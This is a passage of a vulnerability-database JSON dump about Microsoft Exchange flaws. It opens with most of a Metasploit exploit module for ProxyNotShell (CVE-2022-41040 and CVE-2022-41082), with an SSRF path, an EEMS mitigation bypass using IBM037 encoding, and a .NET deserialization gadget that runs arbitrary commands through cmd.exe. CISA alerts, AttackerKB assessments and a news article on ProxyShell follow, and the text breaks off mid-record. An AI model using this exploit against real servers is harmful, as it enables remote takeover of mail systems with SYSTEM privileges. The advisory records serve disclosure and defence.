\n'Orange Tsai', # Discovery of ProxyShell SSRF \n'Spencer McIntyre', # Metasploit module \n'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis \n'Piotr Bazyd\u0142o', # Vulnerability analysis \n'Rich Warren', # EEMS bypass via ProxyNotRelay \n'Soroush Dalili' # EEMS bypass \n], \n'References' => [ \n[ 'CVE', '2022-41040' ], # ssrf \n[ 'CVE', '2022-41082' ], # rce \n[ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ], \n[ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ], \n[ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ], \n[ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ] \n], \n'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08 \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command \n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyNotShell'], \n'Reliability' => [REPEATABLE_SESSION] \n} \n) \n) \n \nregister_options([ \nOptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]), \nOptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), \nOptString.new('DOMAIN', [ false, 'The domain to authenticate to' ]) \n]) \n \nregister_advanced_options([ \nOptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]]) \n]) \nend \n \ndef check \n@ssrf_email ||= Faker::Internet.email \nres = send_http('GET', '/mapi/nspi/') \nreturn CheckCode::Unknown if res.nil? \nreturn CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401 \nreturn CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' \n \n# actually run the powershell cmdlet and see if it works, this will fail if: \n# * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN) \n# * the exchange emergency mitigation service M1 rule is in place \nreturn CheckCode::Safe unless execute_powershell('Get-Mailbox') \n \nCheckCode::Vulnerable \nrescue Msf::Exploit::Failed => e \nCheckCode::Safe(e.to_s) \nend \n \ndef ibm037(string) \nstring.encode('IBM037').force_encoding('ASCII-8BIT') \nend \n \ndef send_http(method, uri, opts = {}) \nopts[:authentication] = { \n'username' => datastore['USERNAME'], \n'password' => datastore['PASSWORD'], \n'preferred_auth' => 'NTLM' \n} \n \nif uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1' \nuri = \"/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}\" \nopts[:headers] = { \n'X-Up-Devcap-Post-Charset' => 'IBM037', \n# technique needs the \"UP\" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362 \n'User-Agent' => \"UP #{datastore['UserAgent']}\" \n} \nelse \nuri = \"/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}\" \nend \n \nsuper(method, uri, opts) \nend \n \ndef exploit \n# if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not \n# work on Exchange Server 2016 \nif datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version) \nvprint_status(\"Detected Exchange version: #{version}\") \nif version < Rex::Version.new('15.2') \nfail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)') \nend \nend \n \n@ssrf_email ||= Faker::Internet.email \n \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \nexecute_command(payload.encoded) \nwhen :windows_dropper \nexecute_cmdstager({ linemax: 7_500 }) \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nxaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root \n<ResourceDictionary \nxmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \nxmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" \nxmlns:System=\"clr-namespace:System;assembly=mscorlib\" \nxmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"> \n<ObjectDataProvider x:Key=\"LaunchCalch\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\"> \n<ObjectDataProvider.MethodParameters> \n<System:String>cmd.exe</System:String> \n<System:String>/c #{cmd.encode(xml: :text)}</System:String> \n</ObjectDataProvider.MethodParameters> \n</ObjectDataProvider> \n</ResourceDictionary> \nXAML \n \nidentity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root \n<Obj N=\"V\" RefId=\"14\"> \n<TN RefId=\"1\"> \n<T>System.ServiceProcess.ServiceController</T> \n<T>System.Object</T> \n</TN> \n<ToString>Object</ToString> \n<Props> \n<S N=\"Name\">Type</S> \n<Obj N=\"TargetTypeForDeserialization\"> \n<TN RefId=\"1\"> \n<T>System.Exception</T> \n<T>System.Object</T> \n</TN> \n<MS> \n<BA N=\"SerializationData\"> \n#{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)} \n</BA> \n</MS> \n</Obj> \n</Props> \n<S> \n<![CDATA[#{xaml}]]> \n</S> \n</Obj> \nIDENTITY \n \nexecute_powershell('Get-Mailbox', args: [ \n{ name: '-Identity', value: identity } \n]) \nend \nend \n \nclass XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream \ninclude Msf::Util::DotNetDeserialization \n \ndef self.generate \nfrom_values([ \nTypes::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1), \nTypes::RecordValues::SystemClassWithMembersAndTypes.from_member_values( \nclass_info: Types::General::ClassInfo.new( \nobj_id: 1, \nname: 'System.UnitySerializationHolder', \nmember_names: %w[Data UnityType AssemblyName] \n), \nmember_type_info: Types::General::MemberTypeInfo.new( \nbinary_type_enums: %i[String Primitive String], \nadditional_infos: [ 8 ] \n), \nmember_values: [ \nTypes::Record.from_value(Types::RecordValues::BinaryObjectString.new( \nobj_id: 2, \nstring: 'System.Windows.Markup.XamlReader' \n)), \n4, \nTypes::Record.from_value(Types::RecordValues::BinaryObjectString.new( \nobj_id: 3, \nstring: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' \n)) \n] \n), \nTypes::RecordValues::MessageEnd.new \n]) \nend \nend \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/170066/exchange_proxynotshell_rce.rb.txt"}], "cisa": [{"lastseen": "2021-08-22T22:07:03", "description": "Malicious cyber actors are actively exploiting the following ProxyShell vulnerabilities: [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>), and [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>). An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine. CISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply [Microsoft's Security Update from May 2021](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/11/microsoft-releases-may-2021-security-updates>)\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks. \n\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-21T00:00:00", "type": "cisa", "title": "Urgent: Protect Against Active Exploitation of ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-21T00:00:00", "id": "CISA:8C51810D4AACDCCDBF9D526B4C21660C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-03T13:58:18", "description": "Microsoft has released [Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>). According to the blog post, \u201cMicrosoft is aware of limited targeted attacks using the two vulnerabilities to get into users\u2019 systems.\u201d The two vulnerabilities are CVE-2022-41040 and CVE-2022-41082, affecting on-premises Microsoft Exchange Server 2013, 2016, and 2019. **Note:** Microsoft Exchange Online is not affected. \n\nAn attacker could exploit these vulnerabilities to take control of an affected system.\n\nCISA encourages users and administrators to review the following information from Microsoft and apply the necessary mitigations until patches are made available:\n\n * [Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>)\n * [Analyzing attacks using the Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082](<https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/>)\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2022/09/30/microsoft-releases-guidance-zero-day-vulnerabilities-microsoft>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T00:00:00", "type": "cisa", "title": "Microsoft Releases Guidance on Zero-Day Vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-01T00:00:00", "id": "CISA:8ED5E84007437E9B88D2418732B63E04", "href": "https://us-cert.cisa.gov/ncas/current-activity/2022/09/30/microsoft-releases-guidance-zero-day-vulnerabilities-microsoft", "cvss": {"score": 0.0, "vector": "NONE"}}], "attackerkb": [{"lastseen": "2023-08-07T00:04:03", "description": "ProxyShell is an exploit chain targeting on-premise installations of Microsoft Exchange Server. It was demonstrated by Orange Tsai at Pwn2Own in April 2021 and is comprised of three CVEs that, when chained, allow a remote unauthenticated attacker to execute arbitrary code on vulnerable targets. The three CVEs are CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207.\n\nDetails are available in Orange Tsai\u2019s [Black Hat USA 2020 talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) and follow-on [blog series](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>). ProxyShell is being broadly exploited in the wild as of August 12, 2021.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at August 12, 2021 9:19pm UTC reported:\n\nCheck out the [Rapid7 analysis](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) for details on the exploit chain. Seems like a lot of the PoC implementations so far are using admin mailboxes, but I\u2019d imagine folks are going to start finding ways around that soon.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "attackerkb", "title": "ProxyShell Exploit Chain", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "href": "https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-16T11:21:49", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at January 10, 2023 2:58pm UTC reported:\n\nCVE-2022-41082, also known as ProxyNotShell is an authenticated RCE in Microsoft Exchange. ProxyNotShell actually combines CVE-2022-41082 and CVE-2022-41040 for the whole attack chain. This CVE specifically however is the RCE component. The vulnerability is a deserialization flaw in Microsoft Exchange\u2019s PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as CVE-2022-41040. The deserialization gadget was documented by ZDI in their [blog](<https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend>). While this vulnerability affected Exchange Server 2013 and Exchange Server 2016, the gadget chain only worked with Exchange Server 2019 (version 15.2+). A new gadget chain could potentially be developed to exploit these older versions.\n\nGTSC originally announced on September 28th that they had seen a new (at the time) 0-day attack against their customers using Microsoft Exchange. On November 8th, Microsoft released patches for the two vulnerabilities. Between September 28th and November, no public exploits combined the SSRF with the RCE. Private threat actors however were attempting to exploit the vulnerability which led Microsoft to issue Exchange Emergency Mitigation Service (EEMS) mitigations. These mitigations took the form of IIS rewrite rules which were able to be bypassed using encoding techniques. The last issued EEMS mitigation was able to be successfully bypassed by using IBM037v1 encoding, which can be demonstrated using the [Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/17275>).\n\nSuccessful code execution results in OS commands running as NT AUTHORITY\\SYSTEM. The exploit is reliable to exploit and pretty quick (compared to ProxyShell which needed to gather a lot of information).\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-03T00:00:00", "type": "attackerkb", "title": "CVE-2022-41082", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-11-08T00:00:00", "id": "AKB:B18222FB-1EF5-4D55-899B-61BD7ECF0FAA", "href": "https://attackerkb.com/topics/tzpl7qr8m1/cve-2022-41082", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-08-19T18:17:54", "description": "Microsoft Exchange Server Elevation of Privilege Vulnerability.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-03T00:00:00", "type": "attackerkb", "title": "CVE-2022-41040", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040"], "modified": "2022-11-08T00:00:00", "id": "AKB:9EA74C88-E0C0-4B13-802D-551307F35B3F", "href": "https://attackerkb.com/topics/jd9xHGqW3a/cve-2022-41040", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-08-07T00:17:35", "description": "Microsoft Exchange Server Security Feature Bypass Vulnerability\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 0.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 6.6, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-11T00:00:00", "type": "attackerkb", "title": "CVE-2021-31207", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2023-08-02T00:00:00", "id": "AKB:5E706DDA-98EC-49CA-AB21-4814DAF26444", "href": "https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-08-11T23:21:43", "description": "Microsoft Exchange Server Elevation of Privilege Vulnerability\n\n \n**Recent assessments:** \n \n**zeroSteiner** at January 10, 2023 3:53pm UTC reported:\n\nThis is an alternative method for bypassing Exchange Emergency Mitigation Service (EEMS) protections for the ProxyNotShell exploit chain. When this CVE is combined with [CVE-2022-41082](<https://attackerkb.com/topics/tzpl7qr8m1/cve-2022-41082>), they yield code execution as NT AUTHORITY\\SYSTEM.\n\nInstalling the original patches from Microsoft that were released in November fix this exploit chain as well. The technique is arguably redundant when EEMS can be bypassed using various encoding techniques. This alternative vector is likely most valuable when used to avoid generating exploitation following the original pattern.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-09T00:00:00", "type": "attackerkb", "title": "CVE-2022-41080", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41080", "CVE-2022-41082"], "modified": "2023-07-11T00:00:00", "id": "AKB:3A0452AA-1A50-41D3-943C-085C00734C11", "href": "https://attackerkb.com/topics/C0uaKiuXUX/cve-2022-41080", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-08-26T23:21:31", "description": "Microsoft has broken its silence on the [recent barrage of attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) on several ProxyShell vulnerabilities in that were [highlighted](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) by a researcher at Black Hat earlier this month.\n\nThe company [released an advisory](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) late Wednesday letting customers know that threat actors may use unpatched Exchange servers \u201cto deploy ransomware or conduct other post-exploitation activities\u201d and urging them to update immediately.\n\n\u201cOur recommendation, as always, is to install the latest CU and SU on all your Exchange servers to ensure that you are protected against the latest threats,\u201d the company said. \u201cPlease update now!\u201d \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)Customers that have installed the [May 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-may-2021-exchange-server-security-updates/ba-p/2335209>) or the [July 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-july-2021-exchange-server-security-updates/ba-p/2523421>) on their Exchange servers are protected from these vulnerabilities, as are Exchange Online customers so long as they ensure that all hybrid Exchange servers are updated, the company wrote.\n\n\u201cBut if you have not installed either of these security updates, then your servers and data are vulnerable,\u201d according to the advisory.\n\nThe ProxyShell bugs that Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) outlined in a presentation at Black Hat. The three vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) enable an adversary to trigger remote code execution on Microsoft Exchange servers. Microsoft said the bugs can be exploited in the following cases:\n\n\u2013The server is running an older, unsupported CU;\n\n\u2013The server is running security updates for older, unsupported versions of Exchange that were [released](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) in March 2021; or\n\n\u2013The server is running an older, unsupported CU, with the [March 2021 EOMT](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) mitigations applied.\n\n\u201cIn all of the above scenarios, you _must_ install one of latest supported CUs and all applicable SUs to be protected,\u201d according to Microsoft. \u201cAny Exchange servers that are not on a supported CU _and_ the latest available SU are vulnerable to ProxyShell and other attacks that leverage older vulnerabilities.\u201d\n\n**Sounding the Alarm**\n\nFollowing Tsai\u2019s presentation on the bugs, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that [he found more](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find exploiting then easy to execute, given how much information is available.\n\nSecurity researchers at Huntress also reported seeing [ProxyShell vulnerabilities](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) being actively exploited throughout the month of August to install backdoor access once the [ProxyShell exploit code](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) was published on Aug. 6. But starting last Friday, Huntress reported a \u201csurge\u201d in attacks after finding 140 webshells launched against 1,900 unpatched Exchange servers.\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) joined those sounding the alarm over the weekend, issuing [an urgent alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>). They, too, urged organizations to immediately install the latest Microsoft Security Update.\n\nAt the time, researcher Kevin Beaumont expressed [criticism over Microsoft\u2019s messaging efforts](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) surrounding the vulnerability and the urgent need for its customers to update their Exchange Server security.\n\n\u201cMicrosoft decided to downplay the importance of the patches and treat them as a standard monthly Exchange patch, which [has] been going on for \u2013 obviously \u2013 decades,\u201d Beaumont explained.\n\nBut Beaumont said these remote code execution (RCE) vulnerabilities are \u201c\u2026as serious as they come.\u201d He noted that the company did not help matters by failing to allocate CVEs for them until July \u2014 four months after the patches were issued.\n\nIn order of patching priority, according to Beaumont, the vulnerabilities are: [CVE-2021\u201334473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021\u201334523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) and [CVE-2021\u201331207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>).\n\nCVE-2021-34473, a vulnerability in which a pre-auth path confusion leads to ACL Bypass, was patched in April. CVE-2021-34523, also patched in April, is an elevation of privilege on Exchange PowerShell backend. CVE-2021-31207, a bug in which a post-auth Arbitrary-File-Write leads to remote code execution, was patched in May.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-26T12:39:54", "type": "threatpost", "title": "Microsoft Breaks Silence on Barrage of ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": 